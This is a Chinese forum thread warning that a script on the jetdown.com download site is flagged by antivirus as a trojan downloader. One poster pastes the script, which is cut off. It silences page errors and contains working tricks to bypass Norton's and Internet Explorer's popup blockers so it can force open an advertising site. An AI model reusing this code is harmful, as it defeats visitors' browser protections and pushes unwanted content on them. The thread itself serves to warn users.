杰特下载站有木马

bosser-wtyx

我的NOD32抱2007-3-30 10:56:24        IMON        文件        http://soft.jetdown.com/chinavb.js        JS/TrojanDownloader.IstBar.G trojan

snake816

好久没用jet了，自从它改版以后。现在用菲凡

sailorfly

我的也报了

skyworld

被人种的把

阿里路亚

老早卡巴就报有了，不妨碍下载。

TT的小跟班

;( 什么东东

wendson

大家可要小心点,
保护好你的爱机

bosser-wtyx

var paypopupURL = "http://www.kengame.com/";
var usingActiveX = true;
function blockError(){return true;}
window.onerror = blockError;
//bypass norton internet security popup blocker
if (window.SymRealWinOpen){window.open = SymRealWinOpen;}
if (window.NS_ActualOpen) {window.open = NS_ActualOpen;}
if (typeof(usingClick) == 'undefined') {var usingClick = false;}
if (typeof(usingActiveX) == 'undefined') {var usingActiveX = false;}
if (typeof(popwin) == 'undefined') {var popwin = null;}
if (typeof(poped) == 'undefined') {var poped = false;}
if (typeof(paypopupURL) == 'undefined') {var paypopupURL = "http://www.kengame.com/";}
var blk = 1;
var setupClickSuccess = false;
var googleInUse = false;
var myurl = location.href+'/';
var MAX_TRIED = 20;
var activeXTried = false;
var tried = 0;
var randkey = '0';  // random key from server
var myWindow;
var popWindow;
var setupActiveXSuccess = 0;
// bypass IE functions
function setupActiveX() {if (usingActiveX) {try{if (setupActiveXSuccess < 5) {document.write

('<INPUT STYLE="display:none;" ID="autoHit" TYPE="TEXT" ONKEYPRESS="showActiveX

()">');popWindow=window.createPopup();popWindow.document.body.innerHTML='<DIV

ID="objectRemover"><OBJECT ID="getParentDiv" STYLE="position:absolute;top:0px;left:0px;" WIDTH=1

HEIGHT=1 DATA="'+myurl+'/paypopup.html" TYPE="text/html"></OBJECT></DIV>';document.write('<IFRAME

NAME="popIframe" STYLE="position:absolute;top:-100px;left:0px;width:1px;height:1px;"

SRC="about:blank"></IFRAME>');popIframe.document.write('<OBJECT ID="getParentFrame"

STYLE="position:absolute;top:0px;left:0px;" WIDTH=1 HEIGHT=1 DATA="'+myurl+'/paypopup.html"

TYPE="text/html"></OBJECT>');setupActiveXSuccess = 6;}}catch(e){if (setupActiveXSuccess < 5)

{setupActiveXSuccess++;setTimeout('setupActiveX();',500);}else if (setupActiveXSuccess == 5)

{activeXTried = true;setupClick();}}}}
function tryActiveX(){if (!activeXTried && !poped) {if (setupActiveXSuccess == 6 && googleInUse &&

popWindow && popWindow.document.getElementById('getParentDiv') &&

popWindow.document.getElementById('getParentDiv').object && popWindow.document.getElementById

('getParentDiv').object.parentWindow) {myWindow=popWindow.document.getElementById

('getParentDiv').object.parentWindow;}else if (setupActiveXSuccess == 6 && !googleInUse &&

popIframe && popIframe.getParentFrame && popIframe.getParentFrame.object &&

popIframe.getParentFrame.object.parentWindow)

{myWindow=popIframe.getParentFrame.object.parentWindow;popIframe.location.replace

('about:blank');}else {setTimeout('tryActiveX()',200);tried++;if (tried >= MAX_TRIED && !

activeXTried) {activeXTried = true;setupClick();}return;}openActiveX

();window.windowFired=true;self.focus();}}
function openActiveX(){if (!activeXTried && !poped) {if (myWindow && window.windowFired)

{window.windowFired=false;document.getElementById('autoHit').fireEvent("onkeypress",

(document.createEventObject().keyCode=escape(randkey).substring(1)));}else {setTimeout

('openActiveX();',100);}tried++;if (tried >= MAX_TRIED) {activeXTried = true;setupClick();}}}
function showActiveX(){if (!activeXTried && !poped) {if (googleInUse)

{window.daChildObject=popWindow.document.getElementById('objectRemover').children

(0);window.daChildObject=popWindow.document.getElementById('objectRemover').removeChild

(window.daChildObject);}newWindow=myWindow.open(paypopupURL,'abcdefg');if (newWindow)

{newWindow.blur();self.focus();activeXTried = true;poped = true;}else {if (!googleInUse)

{googleInUse=true;tried=0;tryActiveX();}else {activeXTried = true;setupClick();}}}}
// end bypass IE functions
// normal call functions
function paypopup(){if (!poped) {if(!usingClick && !usingActiveX) {popwin = window.open

(paypopupURL,'abcdefg');if (popwin) {poped = true;}self.focus();}}if (!poped) {if (usingActiveX)

{tryActiveX();}else {setupClick();}}}
// end normal call functions
// onclick call functions
function setupClick() {if (!poped && !setupClickSuccess){if (window.Event) document.captureEvents

(Event.CLICK);prePaypopOnclick = document.onclick;document.onclick



就是这段代码

dajianshi

老师说，没看懂这段;21 代码

老猫

JET太罗嗦了，而且太容易中招！所以老早不去了！